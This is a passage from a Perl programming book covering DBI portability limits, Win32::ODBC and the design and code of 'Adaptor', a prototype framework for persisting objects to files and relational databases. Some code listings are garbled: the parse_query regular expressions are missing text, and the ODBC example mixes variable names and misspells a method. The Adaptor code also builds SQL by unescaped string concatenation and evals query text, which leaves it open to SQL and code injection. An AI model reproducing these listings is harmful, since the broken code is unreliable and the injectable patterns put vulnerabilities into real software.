The where clause is perfectly valid, but the condition will never succeed. The "*" makes it return all the columns, which we can study using $sth's attributes, as explained earlier in the section Section 10.4.1.3, "Query meta-data."

Creating databases

Database APIs differ widely in how databases (not tables) are created; you have to use vendor-specific APIs or tools for this. Once a database is set up, however, DBI can be used to create or drop tables in that database.

Inserts/creates from arrays

Bulk insertion or updates of data from arrays is not a standard SQL CLI[5] feature. If there is truly a large amount of data to be inserted, you are likely better off dumping the data into a file and using the appropriate bulk copy utility (such as Sybase's bcp) to transfer it to the database at high speeds. (For even better performance, drop the indexes before loading the data and recreate them later.)

[5] Call Level Interface - another name for the standardized C API that all RDBMS vendors are expected to support.

Stored procedures and triggers

Stored procedures and triggers are very different from vendor to vendor. All Perl database modules such as oraperl and sybperl provide such access to their native database facilities, but DBI does not attempt to generalize any of them. Please refer to the module documentation for details or to the DBI web site [6] for suggested approaches.

Uniform error numbers

DBI may be portable, but it doesn't provide a portable set of common error codes. For example, assume that you want to create a table if it is not already present. You might try something like this:

$dbh->do("create table emptable (id   char(15), name char(40),
                                 age  integer)");

If $DBI::err contains an error code, you don't want to take it seriously if it says something like "table/view already present." Unfortunately, if you are using Oracle, this error code is 955, and for Sybase it is something entirely different. There goes portability out of the window!

10.4.2 Win32::ODBC

The Win32::ODBC module is available on the ActiveWare port of Microsoft Windows systems and resembles the DBI approach. Consider the following script, which retrieves all records from an employee table:

use Win32::ODBC;
$dbh = new Win32::ODBC ($dbname);
if $dbh->Sql("select * from emptable") {
    print 'Error: ', $db->Error(), "\n";
    $dbh->Close();
    exit(1);
}
@names = $dbh->FieldNames();
while ($dbh->FetchFrow()) {
    # Data returns the values
    @values = $dbh->Data();
    ... do something with @names and @values.
}

The Sql statement is equivalent to DBI's do. ODBC does not have the concept of statement handles; instead, the database handle is used to fetch the results of the last query.

Meta-data is available in the form of two methods: TableList, which returns a list of table names, and ColAttributes, which returns the specified attribute of each of the supplied field names in the current record.

Previous: 10.3 Record-Oriented Approach | Advanced Perl Programming | Next: 10.5 Resources
10.3 Record-Oriented Approach | Book Index | 10.5 Resources


[Chapter 10] 10.5 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

10.5 Resources

  1. Transaction Processing: Concepts and Techniques. Jim Gray and Andreas Reuter. Morgan Kaufman, 1992.

    One of the most informative and readable computer texts around. If something about transactions is not covered here, maybe it doesn't exist!

  2. An Introduction to Database Systems, Volumes I and II. C.J. Date. Addison-Wesley, 1994.

    A thorough treatment of persistence issues and database technology.

  3. Berkeley DB library, at http://mongoose.bostic.com/db/.

  4. DBI web site by Alligator Descartes: http://www.symbolstone.org/technology/perl/DBI/.

Previous: 10.4 Relational Databases | Advanced Perl Programming | Next: 11. Implementing Object Persistence
10.4 Relational Databases | Book Index | 11. Implementing Object Persistence


[Chapter 11] Implementing Object Persistence

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 10.5 Resources Chapter 11 Next: 11.2 Design Notes

11. Implementing Object Persistence

Contents:
Adaptor: An Introduction
Design Notes
Implementation
Resources

God gave us our memories so that we might have roses in December.

- James Matthew Barrie

The Amazon is formed by the confluence of two rivers: the Solim萫s, a yellowish, silt-laden river, and the dramatic Rio Negro, a river with jet-black water.[1] Twelve miles downstream of their meeting, the two rivers defiantly retain their separate identities while sharing the same bed. Somehow, this seems to bear a strange resemblance to the subject at hand: object persistence.

[1] The color comes from suspended minerals and decomposed organic matter from marginal swamps.

There are two important camps in the commercial computing world: purveyors of OO (language designers, object evangelists) and persistence vendors (database and TP[2] monitor implementors). Like the Solim萫s and the Rio Negro, the two camps (and multiple camps within their ranks) have their own agendas, even as they strive to merge at some point in the future.

[2] Transaction-processing.

The OO folks would like nothing more than commercial-grade persistence (in terms of performance, stability, and scalability) and propose methods to retrofit various persistence stores onto an object model. Some of their prominent efforts include the CORBA Persistence Services specification from the Object Management Group, Sun's PJava (Persistent Java), and the OLE Persistence framework from Microsoft. Meanwhile, the database folks are grafting OO features onto their offerings: RDBMS vendors such as Informix and Oracle have announced object-relational databases (supporting abstract data types, not just plain scalar data), and the various TP monitor products from Tandem, IBM, Tuxedo, and Encina are sporting object-oriented interfaces. There is a tiny object persistence camp, the Object Database Management Group, comprising the OODB vendors, but their presence is quite negligible (commercially).

One of the hot topics in all these groups is the subject of "orthogonal" persistence - the ability to make an application or object persistent without embedding any, or much, persistence-specific code in the object. The idea is very seductive: Design your object model, implement it in memory, and then add persistence on the "side." This way, the objects don't have to be cluttered with the myriad details (and differences) of databases, nor do they have to deal with filesystem errors, data formatting, and other problems.[3] You can think of it this way: if you never embed user-interface-specific code inside an object, why would you do so for persistence?

[3] For an excellent bibliography on the topic, please refer to the PJava design paper [9].

There have traditionally been two approaches to achieving the transparency mentioned above.

The first is to take advantage of the systems side of things, such as the hardware, operating system, and compiler. For example, object-oriented databases such as Object Store and the Texas Persistent Store (a public-domain library) use the Unix system's mmap and mprotect calls to transparently move data from memory to disk and back. Another interesting systems-oriented approach comes from a group at Bell Labs, which has built a library that stores the state of an application by having it simply dump core in a controlled fashion, thus faithfully rendering all memory-based data structures onto disk.[4] They have augmented this facility with recovery and transactions and made this approach almost completely transparent to the application.

[4] Note that Perl's dump operator does produce a core file, but it also aborts the application, a somewhat unpleasant feature.

The second approach for achieving transparent or orthogonal persistence is to supply application-level tools and libraries, an approach that is considerably more portable than the systems approach. CASE tools, for example, generate code to automate the task of sending objects to a persistent store (typically a relational database), while libraries such as Microsoft Foundation Classes ask the objects to stream themselves out to a file. In the latter case, the objects have to implement streaming methods. In either case, the code to be written by hand is fairly minimal, so it is still a reasonably transparent approach.

In this chapter, we will discuss a pilot project called Adaptor, a persistence framework for Perl objects (and written in Perl, of course). This is an application-level approach and doesn't expect the objects to implement persistence-specific methods. Unlike typical CASE tools, it does not generate any code files, because Perl is a dynamic language.

The primary objective of the Adaptor project was to study orthogonal persistence; this, I thought, could be done by "adapting" objects to specific types of persistent stores, using information completely outside the objects; the implementation described in this chapter depends on configuration files to describe which attributes map to which database columns, and how.

A secondary objective of this project was to study how you might code an application differently if you could always take queries and transaction atomicity for granted; that is, even if you didn't have a database at all, suppose you could ask some entity, "Give me all employees whose salary exceeds $100,000," and the application would be persistence-ready from the very beginning. I'm of the firm belief that you cannot simply drop persistence into an application; the object implementations look very different if they know that there is some kind of persistence up ahead (even if they don't quite have any specifics about the type of persistence). This is similar to the case of applications knowing that there may be a graphical user interface in the future and that it may be event-driven; for example, you may not write errors out to STDERR, and might make sure that no code gets indefinitely blocked on I/O. (We'll actually discuss these issues in Section 14.1, "Introduction to GUIs, Tk, and Perl/Tk".)

This chapter is probably more important for the issues it brings up than the specifics of the implementation; however, an implementation is necessary to clearly understand the problem.

11.1 Adaptor: An Introduction

Adaptor is intended to be a group of modules that translate a uniform persistence interface to specific types of persistent stores, as shown in Figure 11.1. This chapter describes the two that have been implemented: Adaptor::File, capable of storing objects in plain files, and Adaptor::DBI, which can store them in relational databases. From here on, we will use the term "adaptor" to mean an object of any of these modules.

Figure 11.1: Adaptor modules

An adaptor represents a typical persistent store capable of accommodating a heterogeneous collection of objects; an Adaptor::File object is a wrapper over a file, and an Adaptor::DBI object is a wrapper over a database connection. All adaptors provide basic SQL queries[5] and transactions.[6]

[5] Only SQL where clauses, not the entire select clause; joins are not supported either.

[6] Adaptor::File implements a fairly limited model, but it does support the interface.

Before we use these modules, let us create a few test application objects. We use the ObjectTemplate library discussed in Section 8.1, "Efficient Attribute Storage", for this task:

use ObjectTemplate;
#----------------------------------------
package Employee;
@ISA = ('ObjectTemplate');
@ATTRIBUTES = qw(_id name age dept);
#----------------------------------------
package Department;
@ISA = ('ObjectTemplate');
@ATTRIBUTES = qw(_id name address);
#----------------------------------------
$dept = new Department (name => 'Materials Handling');
$emp1 = new Employee   (name => 'John',  age => 23, dept => $dept);
$emp2 = new Employee   (name => 'Larry', age => 45, dept => $dept);

We now have three objects, free of database-specific code. To stow these objects into a persistent store, we start by creating an instance of a file or database adaptor as follows:

$db = Adaptor::File->new('test.dat', 'empfile.cfg');

The adaptor object, $db, is now associated with file test.dat and stores all objects given to it in this file. An object may have attributes that it doesn't wish to be made persistent: some attributes may be computed (after_tax_salary), while others may refer to filehandles, sockets, or GUI widgets. For this reason, the adaptor expects the developer to state, in a configuration file (empfile.cfg, in this example), which attributes must be made persistent. empfile.cfg looks like this:

[Employee]
attributes = _id, name, age
[Department]
attributes = _id, name, address

The adaptor can now be asked to store objects in its file, test.dat, as follows:

$db->store($dept);
$db->store($emp1);
$db->store($emp2);

Our "database" now has a number of objects, and we can query this database using the retrieve_where method, like this:

@emps = $db->retrieve_where ('Employee', "age < 40 && name != 'John'");
foreach $emp (@emps) {
    $emp->print();
}

This method takes a class name and a query expression and returns object references of the specified class that match this criteria.

The flush method is used to ensure that the data in memory is flushed out to disk:

$db->flush();

You can store objects under the purview of transactions:

$db->begin_transaction();
$db->store($emp1);
$db->store($emp2);
$db->commit_transaction(); # or rollback_transaction

The file adaptor keeps track of all objects given to its store method, and it flushes them to disk on commit_transaction. If, instead, you call rollback_transaction, it simply discards its internal structures and reloads the file, thus getting rid of all changes you may have made to the objects. This is by no means a real transaction (it doesn't protect the data from system failures), but it does support atomic updates, which can be used as an automatic undo facility.

To store these objects in a database instead of a file, all we need to do is make $db an instance of the Adaptor::DBI class. Everything else remains unchanged, except that you can feel a lot safer about your data because you get real transactions.

The Adaptor::DBI constructor's arguments are database-specific:

$db = Adaptor::DBI->new($user, $password, 'Sybase', 'empdb.cfg');

This method calls DBI::new with the first three parameters. The last parameter is, as before, a configuration file, with some extra database-specific mapping information:

[Employee]
table      = emp
attributes = _id, name, age
columns    = _id, name, age
[Department]
table      = dept
attributes = _id, name, address
columns    = _id, name, address

The attributes parameter specifies the list of attributes to be extracted out of an instance of a given module, and columns lists the corresponding column names in the database. Many adaptors can use the same configuration file.

Previous: 10.5 Resources | Advanced Perl Programming | Next: 11.2 Design Notes
10.5 Resources | Book Index | 11.2 Design Notes


[Chapter 11] 11.2 Design Notes

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

11.2 Design Notes

The adaptor interface is undoubtedly simple; in this section, we will ask ourselves whether it is too simplistic. The Adaptor implementation is still at the level of a prototype but, as we shall see in the next few pages, is significant enough to challenge us on all the issues that the people working with object persistence are trying to grapple with.

11.2.1 Design Goals

I wanted the Adaptor API to be transparent ; that is, to be able to change the type of persistent store at will. The idea was to write small prototypes without messing around with databases and then migrate to a database for the real thing by simply changing the adaptor. Further, I wanted to retain the flexibility of an object living in multiple persistent stores concurrently, because that is the only way to copy objects from one store to another.

I wanted to retain the best features of memory-based data structures (navigability, speed, ease of use) and those of databases (transactions, concurrency, queries), where available. Finally, I did not want the adaptor to break object encapsulation, which means that the implementation could not assume anything about how a module stores instance-specific information and, more subtly, how it constructs its objects.

11.2.2 Object Encapsulation

One important stricture that we easily forget is that an object is not just data. The three serialization modules we saw in the last chapter - FreezeThaw, Data::Dumper, and Storable - all make this assumption. They look past an object reference at the underlying structure and serialize whatever is reachable from there. This assumes that all instance-specific data is reachable from the reference: a false assumption. For example, an object reference of type ObjectTemplate is merely a reference to a scalar. By studying that reference, you have no idea of the object's attributes.

There is a worse problem with the above modules: when restoring objects from a byte stream, they simply recreate the original data structure in memory and bless it under the target module, without the module's involvement. This has the possibility of missing a few key initializations.

To avoid these problems, Adaptor requires each class that wants persistence to support three methods: a constructor, new(), and two attribute accessor methods, get_attributes() and set_attributes(), as follows:

  1. new(): The module must provide this constructor (a "default constructor," in C++ parlance), capable of creating an object without any input parameters. The simplest default constructor for creating hash-table-based objects looks like this:

        sub new {
       bless {}; # bless a hash-table reference and return it.
    }

    Of course, an even simpler alternative is to use ObjectTemplate, which provides an inheritable default constructor. As it happens, it also provides the other two methods listed next.

  2. get_attributes(LIST): Given a list of attribute names, this method should return a list of corresponding values. For now, the restriction is that these values must be scalars (a big limitation; we will have more to say about this shortly). Because this method can be coded efficiently, it is preferable to Adaptor calling individual accessor functions. For example, if you use a hash table for your objects, you can implement this method as a hash slice:

        sub get_attributes {
       my $obj = shift; # @_ now contains names of attributes
       @{$obj}{@_};     # hash slice returns corresponding values
    }

    Adaptor uses the configuration file to specify the list of persistent attributes.

  3. set_attributes(LIST): Given a list of attribute name and value pairs, this method updates the appropriate attributes. Both this function and get_attributes above must allow an attribute called _id , for reasons to be outlined shortly.

These methods are perfectly general functions; they are not tied to persistence in any way. In contrast, some libraries, especially in the C++ world (Microsoft Foundation Classes and the NIH library), require the object to support a streaming interface. Since a streamed object is of no use to a database, I chose to keep the attributes distinct. Besides, if we wanted to send these attributes to a file, we know we can always rely on other modules to stream them, without having to ask the object to do it for us.

11.2.3 Object-Adaptor Protocol

When storing the object, the adaptor consults the configuration information for the list of persistent attributes for that class. It gives this list to get_attributes to retrieve the corresponding values and, depending on the type of the adaptor, either serializes it to a file or updates the database with an SQL query.

When retrieving an object from the database, the adaptor calls new() on the appropriate class and calls set_attributes to prime the newly constructed object with data from the persistent store.

11.2.4 Multivalued Attributes and Database Mapping

Adaptor::DBI simply translates an object to a single row in an RDBMS table. For this reason, it requires each value returned by get_attributes to be a simple scalar (number or string, not a reference). My hope is to eventually ease this restriction with the help of typemaps - pieces of code that can perform customized translations of data types.[7]

[7] In Section 18.1, "Writing an Extension: Overview", we will see how the concept of typemaps is used in creating extensions.

Here are the currently available choices for how to handle an object with one or more non-simple-scalar attributes:

  1. Customized {get,set}_attributes: Adaptor::DBI allows multivalued attributes in memory. All it requires is that get_attributes translate such attributes to a simple scalar in a way that set_attributes will be able to convert back to the original structure, when the data is read back from disk. It can do this translation using FreezeThaw, Data::Dumper, sprintf, or pack; the last two are probably the best, because you can control the length of the resulting scalar (it matters because database columns have predeclared maximum sizes). The scalar can then be mapped to a database column capable of accommodating a variable number of characters (such as VARCHAR) or a binary string (such as Oracle's RAW or LONG RAW). Incidentally, there are still a lot of problems associated with BLOB (Binary Large OBjects) columns: some databases only allow one BLOB column, and others sport an API that is completely different from that of the conventional data types.

  2. Use file storage : Adaptor::File doesn't care whether the attributes are references or ordinary scalars, because it simply hands over the attributes to Storable. In other words, get/set_attributes doesn't have to worry about multivalued attributes if you use Adaptor::File. Of course, the solution won't work if you decide to use a database adaptor tomorrow. There is also the danger that you might inadvertently store unrelated objects this way, just because they happen to be reachable from some attribute.

  3. Separate object class: If an attribute is a reference to a sequence of homogenous records (an employee has multiple records of educational qualifications, for example), that attribute can be modeled as a separate class that gets its own table. More on this when we study object associations later in this section.

Since {get,set}_attributes are general methods, how do they know whether or not to serialize complex attributes? Well, they don't. If you want to make this distinction, you could have a different set of attribute names for persistence purposes (db_address, for example) and have these methods recognize these special cases. This strategy conflicts with our original intention of not embedding db-specific code within an object. Oh, well. As Jiri Soukup notes in his book Taming C++: Pattern Classes and Persistence for Large Projects [11], "It is popular to show elegant C++ programs, and elegance is not a feature of programs providing persistent data."

11.2.5 Inheritance and Database Mapping

The common strategy for mapping an inheritance relationship to a database is to have the superclass and derived class each map to its own table. The table representing the derived class contains all the attributes of all its superclasses; in other words, the inheritance hierarchy is flattened. Another strategy - less commonly used - is to create one table with the union of all attributes of an inheritance hierarchy and have all objects of all classes in that hierarchy use that one table. You can have an extra column identify the specific class of object. Adaptor does not have a problem with either strategy, because it puts the burden of interpreting the attribute names and values on the get/set methods.

11.2.6 Object Identity

One key notion in OO circles is that an object has properties separate from its identity. Two objects may have identical properties but still occupy different address spaces; they will be considered equivalent, not identical.

In memory, an object's address provides its identity, and in a database, the primary key does the same. Adaptor requires each object to support an attribute called _id, so a future implementation can automatically convert relationship attributes (those that point to other objects) to the _ids of the objects on the other end. For example, if you ask an Employee object for its dept attribute, it will ask the department object it is pointing to for its _id and return that. Note that the object doesn't necessarily have to allocate memory for its _id; the get/set_attributes methods can compute it on the fly based on some other attribute. For example, an employee object can return the Social Security number or employee number when asked for its _id.

When store() is called, Adaptor supplies the object with a unique identity, if it doesn't already have one. The identity cannot be a simple global counter, because when the program restarts, it will get reset to 0, and the adaptor will start handing out numbers that might have been given to persistent objects in an earlier incarnation. Storing the counter's last value in a file is slow because you have to make sure you flush this value to the file every single time you store an object. (You never know when the program might crash.) The current implementation experiments with an alternate approach. When the program starts, it notes down the time (using time, which returns the seconds elapsed since January 1, 1970), and appends to it a five-digit counter; the combined number can be used as an object identifier. When the counter overflows, the time is again noted. If the program crashes and comes back again, the identifier is unique, unless it crashes and comes back up within one second. The trouble with this scheme is that it generates long identifiers (eight bytes, using pack()). It also does not work in a distributed setup, because there is the real possibility that two programs call time() within the same second, thus generating the same identifier. To avoid this, you have to create an even bigger identifier that incorporates the IP address of the machine.

11.2.7 Object Associations

An attribute that is a reference to some other object can be translated to the other object's _id value (a foreign key, in database-speak) when storing it in a database or file. As currently implemented, Adaptor does not automatically do this translation, because I don't have a good solution to handle the following problem.

Assume that an employee object's dept attribute points to a department object. When storing dept, we can simply store the department object's _id. No problems so far. Now, when we retrieve the employee record back from disk, what do we do with the encoded dept attribute? Do we immediately create a department object so that the in-memory dept attribute can refer to it? If so, what data should it contain? Should we read the database to correctly populate the department object? That has the problem that an innocuous query on an employee ends up loading all kinds of objects from the database. Alternatively, should we keep the department in an uninitialized state, and only populate it the first time it is used? Further, we must ensure that when the department data is read from disk, it doesn't create a fresh new object, because one with the same identity already exists in memory. We will have more to say on this subject in the following section. For now, it eases my life a little to leave it to the objects to implement foreign key attributes.

Now let us look at how associations of varying cardinalities can be implemented in a database regardless of how they appear in memory.

One-to-many associations such as a department containing a list of employees can be implemented as a foreign-key attribute on the many side. That is, in the database, the employee object points back to its containing department object, instead of the department maintaining a multivalued attribute.

Many-to-many associations can be modeled as a separate class; this way, each association becomes a single record in the database. For example, an employee can work on many projects; a project has many employees working on it; we can model this relationship in a separate class called ProjectEmployee. This scheme has the additional advantage that the relationships can be queried and updated, independent of the objects they are supposed to connect. Associations with cardinalities higher than two (ternary associations, for example) map to distinct tables. Rumbaugh et al. [6] give an excellent treatment of database-mapping approaches.

All these strategies (or limitations) will change dramatically once object-relational extensions become widely available.

11.2.8 Uniqueness of Objects in Memory

Close on the heels of object identity issues comes a very thorny problem. Consider the following query:

@emps = $db->retrieve_where ('Employee', 'age < 40');

This returns a list of object references that match the query criteria. Now if you re-issue this query, it is not too much to expect it to return an identical list of objects (the same object references, that is). This means that Adaptor has to keep an in-memory cache of objects that have been retrieved from disk in previous queries, so that if a database row is reread, the corresponding object is reused. The problem with this scheme is that if this cache is in script space, it increments the reference count of all its constituent objects, which means that once an object is in this cache, it will never be freed, even if no one else is interested in it. In other words, the cache can never shrink, and in the worst case, it has a copy of all the objects present in the database.

One solution to this problem is to implement the cache in C and not update the reference count at all.[8] If all persistent objects were to inherit from a module called Persistent, say, then this module's DESTROY method can be used to remove unwanted entries from this cache.

[8] You will know how to do this once you have read Chapter 20, Perl Internals.

The Adaptor::DBI module, as currently implemented, takes the easy way out and creates a fresh set of objects for each query, leaving it to Perl to automatically deallocate them when no other object refers to them. This means that the applications developer has to be careful when modifying an object returned from a query. This is a clumsy solution, I know. In addition, there is currently no provision for cache inconsistency - where the cache is out-of-date if someone else modifies the database.

The Adaptor::File module does not have this problem because it maintains a list of all objects given to its store() method (for reasons to be explained in the next section); hence successive identical queries return identical lists.

11.2.9 Queries

One big reason why object-oriented databases haven't caught on is the lack of a query language (or at least a standard query language). When you have a million objects in the database, it would be a terrible thing to load every single object in memory to see whether it matches your criteria; this is a job best left to the database. Adaptor::DBI simply translates queries to equivalent SQL queries, while Adaptor::File implements a simple-minded scheme for file based objects: it converts the query expression to an evalable Perl expression and cycles through all objects, matching them against the query specification.

11.2.10 Schema Evolution

Let us say you have sent your objects' data to a file, and tomorrow, some more attributes are added to the object implementation. The schema is said to have evolved. The framework has to be able to reconcile old data with newer object implementations.

Previous: 11.1 Adaptor: An Introduction | Advanced Perl Programming | Next: 11.3 Implementation
11.1 Adaptor: An Introduction | Book Index | 11.3 Implementation


[Chapter 11] 11.3 Implementation

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

11.3 Implementation

This section explains the implementation of Adaptor::DBI and Adaptor::File. We will cover only the key procedures that perform query processing and file or database I/O. Pay as much attention to the design gotchas and unimplemented features as you do to the code.

11.3.1 Adaptor::File

An Adaptor::File instance represents all objects stored in one file. When this adaptor is created (using new), it reads the entire file and translates the data to in-memory objects. Slurping the entire file into memory avoids the problem of having to implement fancy on-disk schemes for random access to variable-length data; after all, that is the job of DBM and database implementations. For this reason, this approach is not recommended for large numbers of objects (over 1,000, to pick a number).

The file adaptor has an attribute called all_instances, a hash table of all objects given to its store method (and indexed by their _id), as shown in Figure 11.2.

Figure 11.2: Structure of file adaptor

11.3.1.1 Storing objects

Let us examine the two methods for storing objects to files: store() and flush.

store allocates a new unique identifier for the object (if necessary) and simply pegs the object onto the all_instances hash. It doesn't send the data to disk.

sub store {                    # adaptor->store($obj)
    (@_ == 2) || die  'Usage adaptor->store ($obj_to_store)';
    my ($this, $obj_to_store) = @_;  # $this  is 'all_instances'
    my ($id) = $obj_to_store->get_attributes('_id');
    my $all_instances = $this->{all_instances};
    if (!defined ($id )) {
        # Haven't seen this object before. Generate an id (doesn't
        # matter how this id is generated)
        $id = $this->_get_next_id();
        $obj_to_store->set_attributes('_id'=> $id);
    }
    $all_instances->{$id} = $obj_to_store;
    $id;          # Return the object identifier
}

Note that the object is told about its new identifier (using set_attributes), so if it is given again to store, a new identifier is not allocated.

The real work of storing the data in the file is done by flush:

sub flush {    # adaptor->flush();
    my $this = $_[0];
    my $all_instances = $this->{'all_instances'};
    my $file          = $this->{'file'};
    return unless defined $file;
    open (F, ">$file") || die "Error opening $file: $!\n";
    my ($id, $obj);
    while (($id, $obj) = each %$all_instances) {
        my $class = ref($obj);
        my @attrs =
           $obj->get_attributes(@{$this->get_attrs_for_class($class)});
        Storable::store_fd([$class, $id, @attrs], \*F);
    }
    close(F);
}

flush simply walks the all_instances hash and, for each user-defined object, calls its get_attributes method. get_attrs_for_class returns a list of persistent attributes for each class (as an array reference) and is loaded from the configuration file supplied to the adaptor's constructor.

The attribute values, together with the class and instance identifier, are packaged in an anonymous array before being given to Storable::store_fd.

This implementation is unsatisfactorily slow (a second or two to store 1,000 objects), largely because so many lookups and accessor functions are called per object. At this stage of prototyping, I do not consider it a big issue.

11.3.1.2 Retrieving objects

The load_all method, called from new, simply does the reverse of flush. It reads the file, recreates each object, and inserts it in the all_instances attribute as shown:

sub load_all {  # $all_instances = load_all($file);
    my $file = shift;
    return undef unless -e $file;
    open(F, $file) || croak "Unable to load $file: $!";
    # Global information first
    my ($class, $id, $obj, $rh_attr_names, @attrs, $all_instances);
    eval {
        while (1) {
            ($class, $id, @attrs) = @{Storable::retrieve_fd(\*F)};
            $obj = $all_instances->{$id};
            $obj = $class->new() unless defined($obj);
            $rh_attr_names = $this->get_attrs_for_class($class);
            $obj->set_attributes(
                    "_id" => $id,
                    map {$rh_attr_names->[$_] => $attrs[$_]}
                        (0 .. $#attrs)
            );
            $all_instances->{$id} = $obj;
        }
    };
    $all_instances;
}

load_all calls Storable's retrieve_fd function, calls the constructor of the appropriate class (new) to construct an uninitialized object of that class, and invokes set_attributes on this newly created object. The map statement constructs a list of attribute name-value pairs. When Storable::retrieve_fd has no more data, it throws an exception (using die). It breaks the infinite loop but is trapped by the eval.

11.3.1.3 Query processing

The retrieve_where method accepts a class name and a query expression, which is a subset of the SQL syntax. The query is not guaranteed to work for SQL keywords such as LIKE, BETWEEN, and IN; however, it will work for the database adaptor because it is sent untranslated to the database.

Writing a query processor for parsing and executing arbitrary query expressions is not a trivial task. But we know that Perl itself deals with expression evaluation, so if we can convert a query to a Perl expression, we can simply use eval to do the dirty work for us, as we saw in Chapter 5, Eval.

retrieve_where hence invokes parse_query to convert the expression to an evalable Perl Boolean expression and dynamically creates a piece of code incorporating this expression to traverse all the objects in the all_instances attribute. That is, a call such as:

retrieve_where ('Employee', 'age < 45 && name != 'John')

is translated to the following piece of Perl code, and evaled:

my $dummy_key; my $obj;
while (($dummy_key, $obj) = each %$all_instances) {
    next unless ref($obj) eq "Employee";
    my ($age, $name) = $obj->get_attributes(qw(age name));
    push (@retval, $obj) if $age < 45 && $name ne 'John';
}

The Boolean expression in the push statement and the list of attribute names are both returned by parse_query, discussed later. retrieve_where is implemented like this:

sub retrieve_where {
    my ($this, $class, $query) = @_;
    my $all_instances = $$this;
    # blank queries result in a list of all objects
    return $this->retrieve_all() if ($query !~ /\S/);

    my ($boolean_expression, @attrs) = parse_query($query);
    # @attrs contains the attribute names used in the query
    # Construct a statement to fetch the required attributes,
    # of the form:
    #   my ($name, $age) = $obj->get_attributes(qw(name age));
    my $fetch_stmt = "my (" . join(",",map{'$' . $_} @attrs) . ") = " .
               "\$obj->get_attributes(qw(@attrs))";

    my (@retval);

    my $eval_str = qq{
        my \$dummy_key; my \$obj;
        while ((\$dummy_key, \$obj) = each \%\$all_instances) {
           next unless ref(\$obj) eq "$class";
           $fetch_stmt;
           push (\@retval, \$obj) if ($boolean_expression);
        }
    };
    print STDERR "EVAL:\n\t$eval_str\n" if $debugging ;
    eval ($eval_str);
    if ($@) {
        print STDERR "Ill-formed query:\n\t$query\n";
        print STDERR $@ if $debugging;
    }
    @retval;
}

Instead of constructing a list of objects for every query, retrieve_where should optionally take a callback reference as the third parameter, which can be called for every object that matches this query.

Now let us take a look at parse_query, which, as was mentioned earlier, translates the SQL where clause to a Perl expression. The input query expression is essentially a series of query terms of the form variable op value, strung together with logical operators (&& and ||). The rules of the transformation are as follows:

  1. If query is blank, it should evaluate to TRUE.

  2. Escaped quotes should be preserved. That is, a string such as "foo\'bar" should not cause confusion.

  3. "=" is mapped to "==".

  4. variable is mapped to $variable. When processing this step, parse_query also keeps a note of the attribute names encountered. This list is returned to its calling procedure, retrieve_where.

  5. If value is a quoted string, then op gets mapped to the appropriate string comparison operator (see %string_op below).

parse_query is implemented like this:

my %string_op = ( # Map from any operator to corresponding string op
              '=='  => 'eq',
              '<'   =>  'lt',
              '<='  =>  'le',
              '>'   =>  'gt',
              '>='  =>  'ge',
              '!='  =>  'ne',
              );
my $ANY_OP = '<=|>=|<|>|!=|==';      # Any comparison operator
sub parse_query {
    my ($query) = @_;
    # Rule 1.
    return 1 if ($query =~ /^\s*$/);
    # First squirrel away all instances of escaped quotes - Rule 2.
    # This way it doesn't get in the way when we are processing
    # rule 5.
    $query =~ s/\\[# Hopefully \200 and \201 aren't being
    $query =~ s/\\["]/\201/g; # being used.
    # Rule 3 - Replace all '=' by '=='
    $query =~ s/([^!><=])=/$1 == /g;
    my %attrs;
    # Rule 4 - extract fields, and replace var with $var
    $query =~
       s/(\w+)\s*($ANY_OP)/$attrs{$1}++, "\$$1 $2"/eg;
    # Rule 5 - replace comparison operators before quoted strings
    # with string comparison opersators
    $query =~
          s{
             ($ANY_OP)         (?# Any comparison operator)
             \s*               (?#  followed by zero or more spaces,)
             [' (?#  then by a quoted string )
           }{
             $string_op{$1} . ' \'' . $2 . '\''
           }goxse;   # global, compile-once, extended,
                     # treat as single line, eval
    # Restore all escaped quote characters
    $query =~ s/\200/\\'/g;
    $query =~ s/\201/\\"/g;
    ($query, keys %attrs);  # Return modified query, and field list
}

11.3.2 Adaptor::DBI

Adaptor::DBI is considerably simpler than Adaptor::File. It does not maintain a table of objects in memory; when asked to store an object, it sends it to the database, and when asked to retrieve one or more objects, it simply passes the request along to the database. This scheme is also its biggest failing, as was pointed out earlier in the section "Uniqueness of Objects in Memory."

The new method simply opens a DBI connection, as was illustrated in Chapter 10, Persistence, and creates an adaptor object with the connection handle as its sole attribute. No rocket science here.

11.3.2.1 Storing objects

The adaptor's store method sends an object to the database:

sub store {    # adaptor->store($obj)
    (@_ == 2) || croak  'Usage adaptor->store ($obj)';
    my $sql_cmd;
    my ($this, $obj) = @_;
    my $class = ref($obj);
    my $rh_class_info = $map_info{$class};
    my $table = $rh_class_info->{"table"};
    croak "No mapping defined for package $class"
        unless defined($table);
    my $rl_attr_names = $rh_class_info->{"attributes"};
    my ($id)          = $obj->get_attributes('_id');
    my ($attr);
    if (!defined ($id )) {
        $id = $this->_get_next_id($table);
        $obj->set_attributes('_id'=> $id);
        # Generate a statement like:
        #       insert into Employee (_id, name,    age)
        #                     values (100, "jason", 33)
        $sql_cmd  = "insert into $table (";
        my ($col_name, $type, $attr);
        my (@attrs) = $obj->get_attributes(@$rl_attr_names);
        $sql_cmd .= join(",",@$rl_attr_names) . ") values (";
        my $val_cmd = "";
        foreach $attr (@attrs) {
            my $quote = ($attr =~ /\D/)
                           ? "'"
                           : "";
            $val_cmd .= "${quote}${attr}${quote},";
        }
        chop ($val_cmd);
        $sql_cmd .= $val_cmd . ")" ;
    } else {
        # Object already exists in the database. Update it
        # with a statement like:
        #       update Employee set name = "jason", age = 33
        #                where _id  = 100;

        $sql_cmd = "update $table set ";
        my ($name, $quote);
        my @attrs = $obj->get_attributes(@$rl_attr_names);
        foreach $name (@$rl_attr_names) {
            if ($name eq '_id') {
                shift @attrs;   # Can't update primary row
                next;
            }
            $attr = shift @attrs;
            $quote = ($attr =~ /\D/)
                           ? "'"
                           : "";
            $sql_cmd .= "$name=${quote}${attr}${quote},";
        }
        chop($sql_cmd); # remove trailing comma
        $sql_cmd .= " where _id = $id";
    }
    # Sql query constructed. Give it to the appropriate db connection
    # to execute.
    $this->{dbconn}->do($sql_cmd); #
    die "DBI Error: $DBI::errstr" if $DBI::err;
    $id;
}

The global variable %map_info stores database configuration information for every package mentioned in the configuration file: the name of the corresponding database table, the list of persistent attributes, and the corresponding database column names. If the object already has an attribute called _id , the corresponding database row is updated; otherwise, a new identifier is allocated and a new database row is inserted. All string valued attributes are automatically quoted.

